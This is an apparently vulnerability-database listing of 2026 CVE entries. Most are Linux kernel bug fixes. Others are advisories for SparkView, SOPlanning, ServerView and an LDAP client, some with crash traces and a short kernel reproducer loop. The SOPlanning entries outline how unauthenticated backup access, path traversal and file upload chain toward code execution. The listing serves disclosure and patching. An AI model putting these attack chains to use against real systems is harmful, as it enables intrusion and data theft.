__is_insn_slot_addr+0x54/0x70 kernel_text_address+0x48/0xc0 __kernel_text_address+0xd/0x40 unwind_get_return_address+0x1e/0x40 arch_stack_walk+0x9c/0xf0 stack_trace_save+0x48/0x70 __ftrace_trace_stack.constprop.0+0x144/0x180 trace_buffer_unlock_commit_regs+0x6d/0x220 trace_event_buffer_commit+0x5c/0x260 trace_event_raw_event_softirq+0x47/0x80 __raise_softirq_irqoff+0x61/0x80 __flush_smp_call_function_queue+0x115/0x420 __sysvec_call_function_single+0x17/0xb0 sysvec_call_function_single+0x8c/0xc0 </IRQ> Commit b41642c87716 ("rcu: Fix rcu_read_unlock() deadloop due to IRQ work") fixed the infinite loop in rcu_read_unlock_special() for IRQ work by setting a flag before calling irq_work_queue_on(). We fix this issue by setting the same flag before calling raise_softirq_irqoff() and rename the flag to defer_qs_pending for more common.	N/A	More Details
CVE-2026-8326	Path traversal vulnerability in Remote Spark (https://www.Remotespark.Com/) SparkView allows reading and writing arbitrary files in all directories as root. This leads to RCE. The affected component is the RDP drive redirection. Depending on implementation, the vulnerability can be exploited by an unauthenticated attacker. This issue affects SparkView: before build 1127.	N/A	More Details
CVE-2026-46151	In the Linux kernel, the following vulnerability has been resolved: usb: usblp: fix heap leak in IEEE 1284 device ID via short response usblp_ctrl_msg() collapses the usb_control_msg() return value to 0/-errno, discarding the actual number of bytes transferred. A broken printer can complete the GET_DEVICE_ID control transfer short and the driver has no way to know. usblp_cache_device_id_string() reads the 2-byte big-endian length prefix from the response and trusts it (clamped only to the buffer bounds). The buffer is kmalloc(1024) at probe time. A device that sends exactly two bytes (e.g. 0x03 0xFF, claiming a 1023-byte ID) leaves device_id_string[2..1022] holding stale kmalloc heap. That stale data is then exposed: - via the ieee1284_id sysfs attribute (sprintf("%s", buf+2), truncated at the first NUL in the stale heap), and - via the IOCNR_GET_DEVICE_ID ioctl, which copy_to_user()s the full claimed length regardless of NULs, up to 1021 bytes of uninitialized heap, with the leak size chosen by the device. Fix this up by just zapping the buffer with zeros before each request sent to the device.	N/A	More Details
CVE-2026-45975	In the Linux kernel, the following vulnerability has been resolved: ublk: use READ_ONCE() to read struct ublksrv_ctrl_cmd struct ublksrv_ctrl_cmd is part of the io_uring_sqe, which may lie in userspace-mapped memory. It's racy to access its fields with normal loads, as userspace may write to them concurrently. Use READ_ONCE() to copy the ublksrv_ctrl_cmd from the io_uring_sqe to the stack. Use the local copy in place of	N/A	More Details

	the one in the io_uring_sqe.		
CVE-2026-45976	In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: Fix memory leak in amdgpu_ras_init() When amdgpu_nbio_ras_sw_init() fails in amdgpu_ras_init(), the function returns directly without freeing the allocated con structure, leading to a memory leak. Fix this by jumping to the release_con label to properly clean up the allocated memory before returning the error code. Compile tested only. Issue found using a prototype static analysis tool and code review.	N/A	More Details
CVE-2026-46001	In the Linux kernel, the following vulnerability has been resolved: hwmon: (pt5161l) Fix bugs in pt5161l_read_block_data() Fix two bugs in pt5161l_read_block_data(): 1. Buffer overrun: The local buffer rbuf is declared as u8 rbuf[24], but i2c_smbus_read_block_data() can return up to I2C_SMBUS_BLOCK_MAX (32) bytes. The i2c-core copies the data into the caller's buffer before the return value can be checked, so the post-read length validation does not prevent a stack overrun if a device returns more than 24 bytes. Resize the buffer to I2C_SMBUS_BLOCK_MAX. 2. Unexpected positive return on length mismatch: When all three retries are exhausted because the device returns data with an unexpected length, i2c_smbus_read_block_data() returns a positive byte count. The function returns this directly, and callers treat any non-negative return as success, processing stale or incomplete buffer contents. Return -EIO when retries are exhausted with a positive return value, preserving the negative error code on I2C failure.	N/A	More Details
CVE-2026-46139	In the Linux kernel, the following vulnerability has been resolved: smb: client: use kzalloc to zero-initialize security descriptor buffer Commit 62e7dd0a39c2d ("smb: common: change the data type of num_aces to le16") split struct smb_acl's __le32 num_aces field into __le16 num_aces and __le16 reserved. The reserved field corresponds to Sbz2 in the MS-DTYP ACL wire format, which must be zero [1]. When building an ACL descriptor in build_sec_desc(), we are using a kmalloc()'ed descriptor buffer and writing the fields explicitly using le16() writes now. This never writes to the 2 byte reserved field, leaving it as uninitialized heap data. When the reserved field happens to contain non-zero slab garbage, Samba rejects the security descriptor with "ndr_pull_security_descriptor failed: Range Error", causing chmod to fail with EINVAL. Change kmalloc() to kzalloc() to ensure the entire buffer is zero-initialized. [1] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/20233ed8-a6c6-4097-aafa-dd545ed24428	N/A	More Details
CVE-2026-46002	In the Linux kernel, the following vulnerability has been resolved: ext2: reject inodes with zero i_nlink and valid mode in ext2_iget() ext2_iget() already rejects inodes with i_nlink == 0 when i_mode is zero or i_dtime is set, treating them as deleted. However, the case of i_nlink == 0 with a non-zero mode and zero dtime slips through. Since ext2 has no orphan list, such a combination can only result from filesystem corruption - a legitimate inode deletion always sets either i_dtime or clears i_mode before freeing the inode. A crafted image can exploit this gap to present such an inode to the VFS, which then triggers WARN_ON inside drop_nlink() (fs/inode.c) via ext2_unlink(), ext2_rename() and ext2_rmdir(): WARNING: CPU: 3 PID: 609 at fs/inode.c:336 drop_nlink+0xad/0xd0 fs/inode.c:336 CPU: 3 UID: 0 PID: 609 Comm: syz-executor Not tainted 6.12.77+ #1 Call Trace: <TASK> inode_dec_link_count include/linux/fs.h:2518 [inline] ext2_unlink+0x26c/0x300 fs/ext2/namei.c:295 vfs_unlink+0x2fc/0x9b0 fs/namei.c:4477 do_unlinkat+0x53e/0x730 fs/namei.c:4541 __x64_sys_unlink+0xc6/0x110 fs/namei.c:4587 do_syscall_64+0xf5/0x220 arch/x86/entry/common.c:78 entry_SYSCALL_64_after_hwframe+0x77/0x7f </TASK> WARNING: CPU: 0 PID: 646 at fs/inode.c:336 drop_nlink+0xad/0xd0 fs/inode.c:336 CPU: 0 UID: 0 PID: 646 Comm: syz.0.17 Not tainted 6.12.77+ #1 Call Trace: <TASK> inode_dec_link_count include/linux/fs.h:2518 [inline] ext2_rename+0x35e/0x850 fs/ext2/namei.c:374 vfs_rename+0xf2f/0x2060 fs/namei.c:5021 do_renameat2+0xbe2/0xd50 fs/namei.c:5178 __x64_sys_rename+0x7e/0xa0 fs/namei.c:5223 do_syscall_64+0xf5/0x220 arch/x86/entry/common.c:78 entry_SYSCALL_64_after_hwframe+0x77/0x7f </TASK> WARNING: CPU: 0 PID: 634 at fs/inode.c:336 drop_nlink+0xad/0xd0 fs/inode.c:336 CPU: 0 UID: 0 PID: 634 Comm: syz-executor Not tainted 6.12.77+ #1 Call Trace: <TASK> inode_dec_link_count include/linux/fs.h:2518 [inline] ext2_rmdir+0xca/0x110 fs/ext2/namei.c:311 vfs_rmdir+0x204/0x690 fs/namei.c:4348 do_rmdir+0x372/0x3e0 fs/namei.c:4407 __x64_sys_unlinkat+0xf0/0x130 fs/namei.c:4577 do_syscall_64+0xf5/0x220 arch/x86/entry/common.c:78 entry_SYSCALL_64_after_hwframe+0x77/0x7f </TASK> Extend the existing i_nlink == 0 check to also catch this case, reporting the corruption via ext2_error() and returning -EFSCORRUPTED. This rejects the inode at load time and prevents it from reaching any of the namei.c paths. Found by Linux Verification Center (linuxtesting.org) with Syzkaller.	N/A	More Details
CVE-2026-46003	In the Linux kernel, the following vulnerability has been resolved: net: qrtr: ns: Limit the total number of nodes Currently, the nameserver doesn't limit the number of nodes it handles. This can be an attack vector if a malicious client starts registering random nodes, leading to memory exhaustion. Hence, limit the maximum number of nodes to 64. Note that, limit of 64 is chosen based on the current platform requirements. If requirement changes in the future, this limit can be increased.	N/A	More Details
CVE-2026-40549	SOPlanning is vulnerable to Cross-Site Request Forgery (CSRF) in groupe_save create, modify and delete endpoints. An attacker can craft a malicious website that, when visited by an authenticated user, automatically sends a forged GET or POST request to the application. This issue affects SOPlanning version 1.55 and below.	N/A	More Details
CVE-2026-	SOPlanning does not verify uploaded file extension. An authenticated attacker with access to the backup functionality can upload a crafted ZIP archive containing a legitimate user.csv file alongside a malicious file, which is extracted on the server. When combined with CVE-2026-40547 (Path Traversal), the malicious file	N/A	More

40548	(e.g., a PHP script) can be placed in a web-accessible location and executed via the browser. This issue affects SOPlanning version 1.55 and below.		Details
CVE-2026-40547	SOPlanning is vulnerable to Path Traversal in backup endpoints. Authenticated remote attacker is able to exploit a vulnerable endpoint and construct payloads that allow reading and executing files previously added through the backup functionality. Critically, due to CVE-2026-40543 (Missing Authorization), any backup file can be read by any (unauthorized) user. This issue affects SOPlanning version 1.55 and below.	N/A	More Details
CVE-2026-40546	SOPlanning is vulnerable to SQL Injection across multiple endpoints and parameters. Attacker with low privileges can inject arbitrary SQL commands, potentially gaining full control over the database. This issue affects SOPlanning version 1.55 and below.	N/A	More Details
CVE-2026-40545	SOPlanning is vulnerable to Reflected XSS via the taches parameter. An attacker can craft a malicious URL which, when opened by authenticated victim, results in arbitrary JavaScript execution in the victim's browser. This issue affects SOPlanning version 1.55 and below.	N/A	More Details
CVE-2026-40544	SOPlanning is vulnerable to Stored Cross-Site Scripting (XSS) via /process/upload_backup endpoint. An authenticated attacker with access to the backup functionality can upload a crafted ZIP archive containing a malicious user.csv file with embedded JavaScript. The injected code is executed in the victim's browser when a user clicks the Edit button for the malicious backup. This issue affects SOPlanning version 1.55 and below.	N/A	More Details
CVE-2026-40543	SOPlanning does not enforce authorization for backup functionalities. An unauthenticated attacker can directly query backup-related endpoints and retrieve backup archives containing user databases with usernames and password hashes, as well as the config.csv file, which includes additional sensitive information. This issue affects SOPlanning version 1.55 and below.	N/A	More Details
CVE-2026-32325	Privilege chaining issue exists in ServerView Agents for Windows V11.60.04 and earlier. If this vulnerability is exploited, a local authenticated attacker who can log in to the server where the affected product is installed may obtain SYSTEM privilege.	N/A	More Details
CVE-2026-27788	Incorrect permission assignment for critical resource issue exists in ServerView Agents for Windows V11.60.04 and earlier. If this vulnerability is exploited, a local authenticated attacker who can log in to the server where the affected product is installed may obtain SYSTEM privilege.	N/A	More Details
CVE-2026-46136	In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7921: fix a potential clc buffer length underflow The buf_len is used to limit the iterations for retrieving the country power setting and may underflow under certain conditions due to changes in the power table in CLC. This underflow leads to an almost infinite loop or an invalid power setting resulting in driver initialization failure.	N/A	More Details
CVE-2026-46004	In the Linux kernel, the following vulnerability has been resolved: ALSA: caiaq: Handle probe errors properly The probe procedure of setup_card() in caiaq driver doesn't treat the error cases gracefully, e.g. the error from snd_card_register() calls snd_card_free() but continues. This would lead to a UAF for the further calls like snd_usb_caiaq_control_init(), as Berk suggested in another patch in the link below. However, the problem is not only that; in general, this function drops the all error handlings (as it's a void function) although its caller can propagate an error to snd_probe(), which eventually calls snd_card_free() as a proper error path. That said, we should treat each error case in setup_card(), and just return the error code promptly, which is then handled later as a fatal error in snd_probe(). This patch achieves it by changing the setup_card() to return an error code. Also, the superfluous snd_card_free() call is removed, too. Note that card->private_free can be set still safely at returning an error. All called functions in card_free() have checks of the unassigned resources or NULL checks.	N/A	More Details
CVE-2026-46005	In the Linux kernel, the following vulnerability has been resolved: xfs: fix a resource leak in xfs_alloc_buftarg() In the error path, call fs_put_dax() to drop the DAX device reference.	N/A	More Details
CVE-2026-46007	In the Linux kernel, the following vulnerability has been resolved: hwmon: (powerz) Avoid cacheline sharing for DMA buffer Depending on the architecture the transfer buffer may share a cacheline with the following mutex. As the buffer may be used for DMA, that is problematic. Use the high-level DMA helpers to make sure that cacheline sharing can not happen. Also drop the comment, as the helpers are documentation enough. https://sashiko.dev/#/message/20260408175814.934BFC19421%40smtp.kernel.org	N/A	More Details
CVE-2026-46008	In the Linux kernel, the following vulnerability has been resolved: mm/damon/core: fix damos_walk() vs kdamond_fn() exit race When kdamond_fn() main loop is finished, the function cancels remaining damos_walk() request and unset the damon_ctx->kdamond so that API callers and API functions themselves can show the context is terminated. damos_walk() adds the caller's request to the queue first. After that, it shows if the kdamond of the damon_ctx is still running (damon_ctx->kdamond is set). Only if the kdamond is running, damos_walk() starts waiting for the kdamond's handling of the newly added request. The damos_walk() requests registration and damon_ctx->kdamond unset are protected by different mutexes, though. Hence, damos_walk() could race with damon_ctx->kdamond unset, and result in deadlocks. For example, let's suppose kdamond successfully finished the damow_walk() request cancelling. Right after that, damos_walk() is called for the context. It registers the new request, and shows the context is still running, because damon_ctx->kdamond unset is not yet done. Hence the damos_walk() caller starts waiting for the	N/A	More Details

	handling of the request. However, the kdamond is already on the termination steps, so it never handles the new request. As a result, the damos_walk() caller thread infinitely waits. Fix this by introducing another damon_ctx field, namely walk_control_obsolete. It is protected by the damon_ctx->walk_control_lock, which protects damos_walk() request registration. Initialize (unset) it in kdamond_fn() before letting damon_start() returns and set it just before the cancelling of the remaining damos_walk() request is executed. damos_walk() reads the obsolete field under the lock and avoids adding a new request. After this change, only requests that are guaranteed to be handled or cancelled are registered. Hence the after-registration DAMON context termination check is no longer needed. Remove it together. The issue is found by sashiko [1].		
CVE-2026-46009	In the Linux kernel, the following vulnerability has been resolved: PCI: endpoint: pci-epf-ntb: Remove duplicate resource teardown epf_ntb_epc_destroy() duplicates the teardown that the caller is supposed to do later. This leads to an oops when .allow_link fails or when .drop_link is performed. Remove the helper. Also drop pci_epc_put(). EPC device refcounting is tied to configfs EPC group lifetime, and pci_epc_put() in the .drop_link path is sufficient.	N/A	More Details
CVE-2026-46134	In the Linux kernel, the following vulnerability has been resolved: platform/chrome: cros_ec_typec: Init mutex in Thunderbolt registration cros_typec_register_thunderbolt() missed initializing the `adata->lock` mutex. This leads to a NULL dereference when the mutex is later acquired (e.g. in cros_typec_altmode_work()). Initialize the mutex in cros_typec_register_thunderbolt() to fix the issue.	N/A	More Details
CVE-2026-46012	In the Linux kernel, the following vulnerability has been resolved: rxrpc: Fix memory leaks in rxkad_verify_response() Fix rxkad_verify_response() to free the ticket and the server key under all circumstances by initialising the ticket pointer to NULL and then making all paths through the function after the first allocation has been done go through a single common epilogue that just releases everything - where all the releases skip on a NULL pointer.	N/A	More Details
CVE-2026-46013	In the Linux kernel, the following vulnerability has been resolved: mm/memfd_luo: fix physical address conversion in put_folios cleanup In memfd_luo_retrieve_folios()'s put_folios cleanup path: 1. kho_restore_folio() expects a phys_addr_t (physical address) but receives a raw PFN (pfolio->pfn). This causes kho_restore_page() to check the wrong physical address (pfn << PAGE_SHIFT instead of the actual physical address). 2. This loop lacks the !pfolio->pfn check that exists in the main retrieval loop and memfd_luo_discard_folios(), which could incorrectly process sparse file holes where pfn=0. Fix by converting PFN to physical address with PFN_PHYS() and adding the !pfolio->pfn check, matching the pattern used elsewhere in this file. This issue was identified by the AI review. https://sashiko.dev/#/patchset/20260323110747.193569-1-duanchenghao@kylinos.cn	N/A	More Details
CVE-2026-35563	It was identified that the LDAP client implementation in version 2.1.7 does not verify if the server certificate matches the intended LDAP hostname. While the underlying code validates the certificate chain against a trusted authority, the absence of endpoint identification allows a valid certificate issued for an entirely unrelated host to be improperly accepted. This oversight leaves the connection highly vulnerable to server impersonation and complete connection compromise. The root cause of this vulnerability lies in the incomplete TLS server identity verification within the LDAP client implementation. The attacker requires MITM capability on the network to exploit this vulnerability. This attacker must be able to present a certificate trusted by the client's configured trust store. The hostname verification has been enforced in the new version of the LDAP API	N/A	More Details
CVE-2026-46014	In the Linux kernel, the following vulnerability has been resolved: KVM: SVM: Add missing save/restore handling of LBR MSRs MSR_IA32_DEBUGCTLMSR and LBR MSRs are currently not enumerated by KVM_GET_MSR_INDEX_LIST, and LBR MSRs cannot be set with KVM_SET_MSRS. So save/restore is completely broken. Fix it by adding the MSRs to msrs_to_save_base, and allowing writes to LBR MSRs from userspace only (as they are read-only MSRs) if LBR virtualization is enabled. Additionally, to correctly restore L1's LBRs while L2 is running, make sure the LBRs are copied from the captured VMCB01 save area in svm_copy_vmrun_state(). Note, for VMX, this also fixes a flaw where MSR_IA32_DEBUGCTLMSR isn't reported as an MSR to save/restore. Note #2, over-reporting MSR_IA32_LASTxxx on Intel is ok, as KVM already handles unsupported reads and writes thanks to commit b5e2fec0ebc3 ("KVM: Ignore DEBUGCTL MSRs with no effect") (kvm_do_msr_access() will morph the unsupported userspace write into a nop). [sean: guard with lbrv checks, massage changelog]	N/A	More Details
CVE-2026-46140	In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btmtk: validate WMT event SKB length before struct access btmtk_usb_hci_wmt_sync() casts the WMT event response SKB data to struct btmtk_hci_wmt_evt (7 bytes) and struct btmtk_hci_wmt_evt_funcc (9 bytes) without first checking that the SKB contains enough data. A short firmware response causes out-of-bounds reads from SKB tailroom. Use skb_pull_data() to validate and advance past the base WMT event header. For the FUNC_CTRL case, pull the additional status field bytes before accessing them.	N/A	More Details
CVE-2026-46000	In the Linux kernel, the following vulnerability has been resolved: rxrpc: Fix conn-level packet handling to unshare RESPONSE packets The security operations that verify the RESPONSE packets decrypt bits of it in place - however, the sk_buff may be shared with a packet sniffer, which would lead to the sniffer seeing an apparently corrupt packet (actually decrypted). Fix this by handing a copy of the packet off to the specific security handler if the packet was cloned.	N/A	More Details

CVE-2026-45977	In the Linux kernel, the following vulnerability has been resolved: fbnic: close fw_log race between users and teardown Fixes a theoretical race on fw_log between the teardown path and fw_log write functions. fw_log is written inside fbnic_fw_log_write() and can be reached from the mailbox handler fbnic_fw_msix_intr(), but fw_log is freed before IRQ/MBX teardown during cleanup, resulting in a potential data race of dereferencing a freed/null variable. Possible Interleaving Scenario: CPU0: fbnic_fw_msix_intr() // Entry fbnic_fw_log_write() if (fbnic_fw_log_ready()) // true ... preempt ... CPU1: fbnic_remove() // Entry fbnic_fw_log_free() vfree(log->data_start); log->data_start = NULL; CPU0: continues, walks log->entries or writes to log->data_start The initialization also has an incorrect order problem, as the fw_log is currently allocated after MBX setup during initialization. Fix the problems by adjusting the synchronization order to put initialization in place before the mailbox is enabled, and not cleared until after the mailbox has been disabled.	N/A	More Details
CVE-2026-45998	In the Linux kernel, the following vulnerability has been resolved: rxrpc: Fix potential UAF after skb_unshare() failure If skb_unshare() fails to unshare a packet due to allocation failure in rxrpc_input_packet(), the skb pointer in the parent (rxrpc_io_thread()) will be NULL'd out. This will likely cause the call to trace_rxrpc_rx_done() to oops. Fix this by moving the unsharing down to where rxrpc_input_call_event() calls rxrpc_input_call_packet(). There are a number of places prior to that where we ignore DATA packets for a variety of reasons (such as the call already being complete) for which an unshare is then avoided. And with that, rxrpc_input_packet() doesn't need to take a pointer to the pointer to the packet, so change that to just a pointer.	N/A	More Details
CVE-2026-45978	In the Linux kernel, the following vulnerability has been resolved: staging: greybus: lights: avoid NULL deref gb_lights_light_config() stores channel_count before allocating the channels array. If kcalloc() fails, gb_lights_release() iterates the non-zero count and dereferences light->channels, which is NULL. Allocate channels first and only then publish channels_count so the cleanup path can't walk a NULL pointer.	N/A	More Details
CVE-2026-46148	In the Linux kernel, the following vulnerability has been resolved: spi: microchip-core-qspi: control built-in cs manually The coreQSPI IP supports only a single chip select, which is automagically operated by the hardware - set low when the transmit buffer first gets written to and set high when the number of bytes written to the TOTALBYTES field of the FRAMES register have been sent on the bus. Additional devices must use GPIOs for their chip selects. It was reported to me that if there are two devices attached to this QSPI controller that the in-built chip select is set low while linux tries to access the device attached to the GPIO. This went undetected as the boards that connected multiple devices to the SPI controller all exclusively used GPIOs for chip selects, not relying on the built-in chip select at all. It turns out that this was because the built-in chip select, when controlled automagically, is set low when active and high when inactive, thereby ruling out its use for active-high devices or devices that need to transmit with the chip select disabled. Modify the driver so that it controls chip select directly, retaining the behaviour for mem_ops of setting the chip select active for the entire duration of the transfer in the exec_op callback. For regular transfers, implement the set_cs callback for the core to use. As part of this, the existing setup callback, mchp_coreqspi_setup_op(), is removed. Modifying the CLKIDLE field is not safe to do during operation when there are multiple devices, so this code is removed entirely. Setting the MASTER and ENABLE fields is something that can be done once at probe, it doesn't need to be re-run for each device. Instead the new setup callback sets the built-in chip select to its inactive state for active-low devices, as the reset value of the chip select in software controlled mode is low.	N/A	More Details
CVE-2026-46147	In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Fix pin leak and publication ordering in __pkvm_init_vcpu() Two bugs exist in the vCPU initialisation path: 1. If a check fails after hyp_pin_shared_mem() succeeds, the cleanup path jumps to 'unlock' without calling unpin_host_vcpu() or unpin_host_sve_state(), permanently leaking pin references on the host vCPU and SVE state pages. Extract a register_hyp_vcpu() helper that performs the checks and the store. When register_hyp_vcpu() returns an error, call unpin_host_vcpu() and unpin_host_sve_state() inline before falling through to the existing 'unlock' label. 2. register_hyp_vcpu() publishes the new vCPU pointer into 'hyp_vm->vcpus[]' with a bare store, allowing a concurrent caller of pkvm_load_hyp_vcpu() to observe a partially initialised vCPU object. Ensure the store uses smp_store_release() and the load uses smp_load_acquire(). While 'vm_table_lock' currently serialises the store and the load, these barriers ensure the reader sees the fully initialised 'hyp_vcpu' object even if there were a lockless path or if the lock's own ordering guarantees were insufficient for nested object initialization.	N/A	More Details
CVE-2026-46146	In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Avoid potential endless loop in convert_chmap_v3() The convert_chmap_v3() has a loop with its increment size of cs_desc->wLength, but we forgot to validate cs_desc->wLength itself, which may lead to potential endless loop by a malformed descriptor. Add a proper size check to abort the loop for plugging the hole.	N/A	More Details
CVE-2026-45979	In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: clean up the amdgpu_cs_parser_bos In low memory conditions, kmalloc can fail. In such conditions unlock the mutex for a clean exit. We do not need to amdgpu_bo_list_put as it's been handled in the amdgpu_cs_parser_fini.	N/A	More Details
CVE-2026-46144	In the Linux kernel, the following vulnerability has been resolved: RDMA/mana: Fix error unwind in mana_ib_create_qp_rss() Sashiko points out that mana_ib_cfg_vport_steering() is leaked, the normal destroy path cleans it up.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: s390/cio: Fix device lifecycle handling in css_alloc_subchannel() `css_alloc_subchannel()` calls `device_initialize()` before setting up the DMA masks. If `dma_set_coherent_mask()` or `dma_set_mask()` fails, the error path frees the subchannel structure directly,		

CVE-2026-45981	bypassing the device model reference counting. Once `device_initialize()` has been called, the embedded struct device must be released via `put_device()`, allowing the release callback to free the container structure. Fix the error path by dropping the initial device reference with `put_device()` instead of calling `kfree()` directly. This ensures correct device lifetime handling and avoids potential use-after-free or double-free issues.	N/A	More Details
CVE-2026-45982	In the Linux kernel, the following vulnerability has been resolved: ACPICA: Fix NULL pointer dereference in acpi_ev_address_space_dispatch() Cover a missed execution path with a new check.	N/A	More Details
CVE-2026-45983	In the Linux kernel, the following vulnerability has been resolved: nfsd: never defer requests during idmap lookup During v4 request compound arg decoding, some ops (e.g. SETATTR) can trigger idmap lookup upcalls. When those upcall responses get delayed beyond the allowed time limit, cache_check() will mark the request for deferral and cause it to be dropped. This prevents nfs4svc_encode_compoundres from being executed, and thus the session slot flag NFSD4_SLOT_INUSE never gets cleared. Subsequent client requests will fail with NFSERR_JUKEBOX, given that the slot will be marked as in-use, making the SEQUENCE op fail. Fix this by making sure that the RQ_USEDEFERRAL flag is always clear during nfs4svc_decode_compoundargs(), since no v4 request should ever be deferred.	N/A	More Details
CVE-2026-45985	In the Linux kernel, the following vulnerability has been resolved: ext4: don't set EXT4_GET_BLOCKS_CONVERT when splitting before submitting I/O When allocating blocks during within-EOF DIO and writeback with dioread_nolock enabled, EXT4_GET_BLOCKS_PRE_IO was set to split an existing large unwritten extent. However, EXT4_GET_BLOCKS_CONVERT was set when calling ext4_split_convert_extents(), which may potentially result in stale data issues. Assume we have an unwritten extent, and then DIO writes the second half. [UUUUUUUUUUUUUUUU] on-disk extent U: unwritten extent [UUUUUUUUUUUUUUUU] extent status tree |<- ->| ----> dio write this range First, ext4_iomap_alloc() call ext4_map_blocks() with EXT4_GET_BLOCKS_PRE_IO, EXT4_GET_BLOCKS_UNWRIT_EXT and EXT4_GET_BLOCKS_CREATE flags set. ext4_map_blocks() find this extent and call ext4_split_convert_extents() with EXT4_GET_BLOCKS_CONVERT and the above flags set. Then, ext4_split_convert_extents() calls ext4_split_extent() with EXT4_EXT_MAY_ZEROOUT, EXT4_EXT_MARK_UNWRIT2 and EXT4_EXT_DATA_VALID2 flags set, and it calls ext4_split_extent_at() to split the second half with EXT4_EXT_DATA_VALID2, EXT4_EXT_MARK_UNWRIT1, EXT4_EXT_MAY_ZEROOUT and EXT4_EXT_MARK_UNWRIT2 flags set. However, ext4_split_extent_at() failed to insert extent since a temporary lack -ENOSPC. It zeroes out the first half but convert the entire on-disk extent to written since the EXT4_EXT_DATA_VALID2 flag set, but left the second half as unwritten in the extent status tree. [0000000000SSSSSS] data S: stale data, 0: zeroed [WWWWWWWWWWWWWWWW] on-disk extent W: written extent [WWWWWWWWWWUUUUUU] extent status tree Finally, if the DIO failed to write data to the disk, the stale data in the second half will be exposed once the cached extent entry is gone. Fix this issue by not passing EXT4_GET_BLOCKS_CONVERT when splitting an unwritten extent before submitting I/O, and make ext4_split_convert_extents() to zero out the entire extent range to zero for this case, and also mark the extent in the extent status tree for consistency.	N/A	More Details
CVE-2026-45986	In the Linux kernel, the following vulnerability has been resolved: crypto: ccree - fix a memory leak in cc_mac_digest() Add cc_unmap_result() if cc_map_hash_request_final() fails to prevent potential memory leak.	N/A	More Details
CVE-2026-45987	In the Linux kernel, the following vulnerability has been resolved: KVM: nSVM: Sync interrupt shadow to cached vmcb12 after VMRUN of L2 After VMRUN in guest mode, nested_sync_control_from_vmcb02() syncs fields written by the CPU from vmcb02 to the cached vmcb12. This is because the cached vmcb12 is used as the authoritative copy of some of the controls, and is the payload when saving/restoring nested state. int_state is also written by the CPU, specifically bit 0 (i.e. SVM_INTERRUPT_SHADOW_MASK) for nested VMs, but it is not sync'd to cached vmcb12. This does not cause a problem if KVM_SET_NESTED_STATE preceeds KVM_SET_VCPU_EVENTS in the restore path, as an interrupt shadow would be correctly restored to vmcb02 (KVM_SET_VCPU_EVENTS overwrites what KVM_SET_NESTED_STATE restored in int_state). However, if KVM_SET_VCPU_EVENTS preceeds KVM_SET_NESTED_STATE, an interrupt shadow would be restored into vmcb01 instead of vmcb02. This would mostly be benign for L1 (delays an interrupt), but not for L2. For L2, the vCPU could hang (e.g. if a wakeup interrupt is delivered before a HLT that should have been in an interrupt shadow). Sync int_state to the cached vmcb12 in nested_sync_control_from_vmcb02() to avoid this problem. With that, KVM_SET_NESTED_STATE restores the correct interrupt shadow state, and if KVM_SET_VCPU_EVENTS follows it would overwrite it with the same value.	N/A	More Details
CVE-2026-45989	In the Linux kernel, the following vulnerability has been resolved: of: unittest: fix use-after-free in testdrv_probe() The function testdrv_probe() retrieves the device_node from the PCI device, applies an overlay, and then immediately calls of_node_put(dn). This releases the reference held by the PCI core, potentially freeing the node if the reference count drops to zero. Later, the same freed pointer 'dn' is passed to of_platform_default_populate(), leading to a use-after-free. The reference to pdev->dev.of_node is owned by the device model and should not be released by the driver. Remove the erroneous of_node_put() to prevent premature freeing.	N/A	More Details
CVE-2026-46143	In the Linux kernel, the following vulnerability has been resolved: ASoC: qcom: q6apm-lpass-dai: Fix multiple graph opens As prepare can be called mulitple times, this can result in multiple graph opens for playback path. This will result in a memory leaks, fix this by adding a check before opening.	N/A	More Details

CVE-2026-46142	In the Linux kernel, the following vulnerability has been resolved: net: libwx: fix VF illegal register access Register WX_CFG_PORT_ST is a PF restricted register. When a VF is initialized, attempting to read this register triggers an illegal register access, which lead to a system hang. When the device is VF, the bus function ID can be obtained directly from the PCI_FUNC(pdev->devfn).	N/A	More Details
CVE-2026-45990	In the Linux kernel, the following vulnerability has been resolved: slub: fix data loss and overflow in krealloc() Commit 2cd8231796b5 ("mm/slub: allow to set node and align in k[v]realloc") introduced the ability to force a reallocation if the original object does not satisfy new alignment or NUMA node, even when the object is being shrunk. This introduced two bugs in the reallocation fallback path: 1. Data loss during NUMA migration: The jump to 'alloc_new' happens before 'ks' and 'orig_size' are initialized. As a result, the memcpy() in the 'alloc_new' block would copy 0 bytes into the new allocation. 2. Buffer overflow during shrinking: When shrinking an object while forcing a new alignment, 'new_size' is smaller than the old size. However, the memcpy() used the old size ('orig_size ?: ks'), leading to an out-of-bounds write. The same overflow bug exists in the kvrealloc() fallback path, where the old bucket size ksize(p) is copied into the new buffer without being bounded by the new size. A simple reproducer: // e.g. add to lkdtm as KREALLOC_SHRINK_OVERFLOW while (1) { void *p = kmalloc(128, GFP_KERNEL); p = krealloc_node_align(p, 64, 256, GFP_KERNEL, NUMA_NO_NODE); kfree(p); } demonstrates the issue: == BUG: KFENCE: out-of-bounds write in memcpy_orig+0x68/0x130 Out-of-bounds write at 0xffff8883ad757038 (120B right of kfence-#47): memcpy_orig+0x68/0x130 krealloc_node_align_noprof+0x1c8/0x340 lkdtm_KREALLOC_SHRINK_OVERFLOW+0x8c/0xc0 [lkdtm] lkdtm_do_action+0x3a/0x60 [lkdtm] ... kfence-#47: 0xffff8883ad756fc0-0xffff8883ad756fff, size=64, cache=kmalloc-64 allocated by task 316 on cpu 7 at 97.680481s (0.021813s ago): krealloc_node_align_noprof+0x19c/0x340 lkdtm_KREALLOC_SHRINK_OVERFLOW+0x8c/0xc0 [lkdtm] lkdtm_do_action+0x3a/0x60 [lkdtm] ... == Fix it by moving the old size calculation to the top of __do_krealloc() and bounding all copy lengths by the new allocation size.	N/A	More Details
